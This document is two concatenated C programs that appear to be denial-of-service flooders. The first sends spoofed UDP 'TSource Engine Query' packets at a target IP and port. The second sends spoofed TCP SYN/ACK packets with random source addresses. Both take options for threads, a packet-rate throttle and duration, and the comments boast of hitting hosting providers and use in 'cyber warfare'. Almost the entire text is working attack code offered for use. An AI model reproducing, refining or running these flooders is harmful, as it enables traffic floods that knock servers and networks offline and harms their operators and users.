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/*
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Fatti made this method hit nfos no cap
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*/
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#include <pthread.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/socket.h>
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#include <netinet/ip.h>
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#include <netinet/udp.h>
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#define MAX_PACKET_SIZE 4096
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#define PHI 0x9e3779b9
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static unsigned long int Q[4096], c = 362436;
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static unsigned int floodport;
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volatile int limiter;
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volatile unsigned int pps;
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volatile unsigned int sleeptime = 100;
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void init_rand(unsigned long int x)
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{
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int i;
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Q[0] = x;
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Q[1] = x + PHI;
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Q[2] = x + PHI + PHI;
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for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
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}
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unsigned long int rand_cmwc(void)
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{
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unsigned long long int t, a = 18782LL;
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static unsigned long int i = 4095;
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unsigned long int x, r = 0xfffffffe;
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i = (i + 1) & 4095;
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t = a * Q[i] + c;
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c = (t >> 32);
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x = t + c;
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if (x < c) {
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x++;
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c++;
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}
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return (Q[i] = r - x);
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}
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unsigned short csum (unsigned short *buf, int count)
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{
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register unsigned long sum = 0;
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while( count > 1 ) { sum += *buf++; count -= 2; }
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if(count > 0) { sum += *(unsigned char *)buf; }
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while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
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return (unsigned short)(~sum);
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}
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void setup_ip_header(struct iphdr *iph)
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{
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 30;
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iph->id = htonl(50000 + rand() % 65535);
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iph->frag_off = 0;
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iph->ttl = MAXTTL;
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iph->protocol = IPPROTO_UDP;
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iph->check = 0;
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iph->saddr = inet_addr("192.168.3.100");
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}
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void setup_udp_header(struct udphdr *udph)
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{
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udph->source = htons(1194 + rand() % 16276);
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udph->dest = htons(floodport);
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udph->check = 0;
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void *data = (void *)udph + sizeof(struct udphdr);
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memset(data, 0xFF, 4);
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strcpy(data+4, "TSource Engine Query");
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udph->len=htons(sizeof(struct udphdr) + 30);
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}
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void *flood(void *par1)
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{
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char *td = (char *)par1;
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char datagram[MAX_PACKET_SIZE];
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struct iphdr *iph = (struct iphdr *)datagram;
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struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
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struct sockaddr_in sin;
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sin.sin_family = AF_INET;
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sin.sin_port = htons(22 + rand() % 1194);
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sin.sin_addr.s_addr = inet_addr(td);
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int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
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if(s < 0){
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fprintf(stderr, "Could not open raw socket.\n");
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exit(-1);
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}
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memset(datagram, 0, MAX_PACKET_SIZE);
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setup_ip_header(iph);
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setup_udp_header(udph);
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iph->daddr = sin.sin_addr.s_addr;
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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int tmp = 1;
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const int *val = &tmp;
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if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
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fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
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exit(-1);
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}
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init_rand(time(NULL));
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register unsigned int i;
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i = 0;
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while(1){
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
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iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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pps++;
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if(i >= limiter)
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{
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i = 0;
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usleep(sleeptime);
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}
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i++;
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}
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}
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int main(int argc, char *argv[ ])
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{
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if(argc < 5){
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fprintf(stderr, "Invalid parameters!\n");
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fprintf(stdout, "Usage: %s <target IP> <Flood Port> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
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exit(-1);
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}
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fprintf(stdout, "Setting up Sockets...\n");
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floodport = atoi(argv[2]);
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int num_threads = atoi(argv[3]);
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int maxpps = atoi(argv[4]);
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limiter = 0;
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pps = 0;
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pthread_t thread[num_threads];
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int multiplier = 20;
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int i;
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for(i = 0;i<num_threads;i++){
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pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
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}
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fprintf(stdout, "Starting Flood... Fatti Made This Shit... Sending Fatass Packets\n");
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for(i = 0;i<(atoi(argv[5])*multiplier);i++)
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{
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usleep((1000/multiplier)*1000);
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if((pps*multiplier) > maxpps)
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{
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if(1 > limiter)
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{
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sleeptime+=100;
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} else {
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limiter--;
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}
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} else {
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limiter++;
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if(sleeptime > 25)
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{
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sleeptime-=25;
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} else {
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sleeptime = 0;
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}
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}
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pps = 0;
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}
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return 0;
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}
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/*
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This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
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*/
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#include <unistd.h>
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#include <time.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/ioctl.h>
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#include <string.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <pthread.h>
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#include <netinet/tcp.h>
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#include <netinet/ip.h>
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#include <netinet/in.h>
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#include <netinet/if_ether.h>
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#include <netdb.h>
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#include <net/if.h>
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#include <arpa/inet.h>
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#define MAX_PACKET_SIZE 5000
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#define PHI 0x9e3779b9
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static unsigned long int Q[5000], c = 362436;
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volatile int limiter;
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static unsigned int floodport;
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volatile unsigned int pps;
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volatile unsigned int sleeptime = 100;
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void init_rand(unsigned long int x)
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{
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int i;
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Q[0] = x;
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Q[1] = x + PHI;
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Q[2] = x + PHI + PHI;
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for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
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}
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unsigned long int rand_cmwc(void)
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{
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unsigned long long int t, a = 18782LL;
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static unsigned long int i = 4095;
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unsigned long int x, r = 0xfffffffe;
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i = (i + 1) & 4095;
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t = a * Q[i] + c;
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c = (t >> 32);
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x = t + c;
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if (x < c) {
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x++;
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c++;
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}
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return (Q[i] = r - x);
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}
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unsigned short csum (unsigned short *buf, int count)
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{
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register unsigned long sum = 0;
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while( count > 1 ) { sum += *buf++; count -= 2; }
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if(count > 0) { sum += *(unsigned char *)buf; }
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while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
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return (unsigned short)(~sum);
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}
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unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
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struct tcp_pseudo
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{
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unsigned long src_addr;
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unsigned long dst_addr;
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unsigned char zero;
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unsigned char proto;
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unsigned short length;
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} pseudohead;
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unsigned short total_len = iph->tot_len;
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pseudohead.src_addr=iph->saddr;
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pseudohead.dst_addr=iph->daddr;
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pseudohead.zero=0;
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pseudohead.proto=IPPROTO_TCP;
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pseudohead.length=htons(sizeof(struct tcphdr));
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int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
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unsigned short *tcp = malloc(totaltcp_len);
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memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
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memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
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unsigned short output = csum(tcp,totaltcp_len);
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free(tcp);
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return output;
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}
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void setup_ip_header(struct iphdr *iph)
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{
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iph->ihl = 5;
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iph->version = 4;
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iph->tos = 0;
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iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
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iph->id = htonl(rand() % 1025 + 65535);
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iph->frag_off = 0;
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iph->ttl = MAXTTL;
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iph->protocol = 6;
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iph->check = 0;
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iph->saddr = inet_addr("162.52.103.30");
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}
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void setup_tcp_header(struct tcphdr *tcph)
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{
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tcph->source = htons(1194 + rand_cmwc() % 16276);
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tcph->seq = rand();
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tcph->ack_seq = rand();
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tcph->syn_seq = rand();
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tcph->res2 = 3;
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tcph->doff = 5;
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tcph->ack = 1;
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tcph->syn = 1;
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tcph->window = rand();
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tcph->check = 0;
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tcph->urg_ptr = 0;
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}
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void *flood(void *par1)
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{
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char *td = (char *)par1;
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char datagram[MAX_PACKET_SIZE];
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struct iphdr *iph = (struct iphdr *)datagram;
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struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
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struct sockaddr_in sin;
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sin.sin_family = AF_INET;
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sin.sin_port = htons(floodport);
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sin.sin_addr.s_addr = inet_addr(td);
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int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
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if(s < 0){
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fprintf(stderr, "cant open raw socket try again spoofed...\n");
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exit(-1);
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}
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memset(datagram, 0, MAX_PACKET_SIZE);
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setup_ip_header(iph);
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setup_tcp_header(tcph);
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tcph->dest = htons (floodport);
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iph->daddr = sin.sin_addr.s_addr;
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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int tmp = 1;
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const int *val = &tmp;
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if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
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fprintf(stderr, "ERROR FIX YOUR SHIT\n");
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exit(-1);
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}
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init_rand(time(NULL));
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register unsigned int i;
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i = 0;
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while(1){
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sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
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iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
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iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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tcph->seq = rand_cmwc() & 0xFFFF;
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tcph->dest = htons(floodport);
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tcph->source = htons(rand_cmwc() & 0xFFFF);
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tcph->check = 1;
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tcph->check = tcpcsum(iph, tcph);
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pps++;
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if(i >= limiter)
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{
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i = 0;
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usleep(sleeptime);
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}
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i++;
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}
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}
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int main(int argc, char *argv[ ])
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{
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if(argc < 5){
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fprintf(stderr, "Invalid parameters! Lmao Try again skid\n");
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fprintf(stdout, "Usage: %s <IP> <Port> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
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exit(-1);
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}
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int num_threads = atoi(argv[3]);
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floodport = atoi(argv[2]);
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int maxpps = atoi(argv[4]);
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limiter = 0;
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pps = 0;
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pthread_t thread[num_threads];
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int multiplier = 20;
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int i;
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for(i = 0;i<num_threads;i++){
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pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
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}
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fprintf(stdout, "Sending packets.. packets to%d\n", floodport);
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for(i = 0;i<(atoi(argv[5])*multiplier);i++)
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{
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usleep((1000/multiplier)*1000);
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if((pps*multiplier) > maxpps)
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{
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if(1 > limiter)
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{
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sleeptime+=100;
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} else {
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limiter--;
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}
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} else {
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limiter++;
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if(sleeptime > 25)
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{
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sleeptime-=25;
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} else {
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sleeptime = 0;
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}
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}
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pps = 0;
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}
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return 0;
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}
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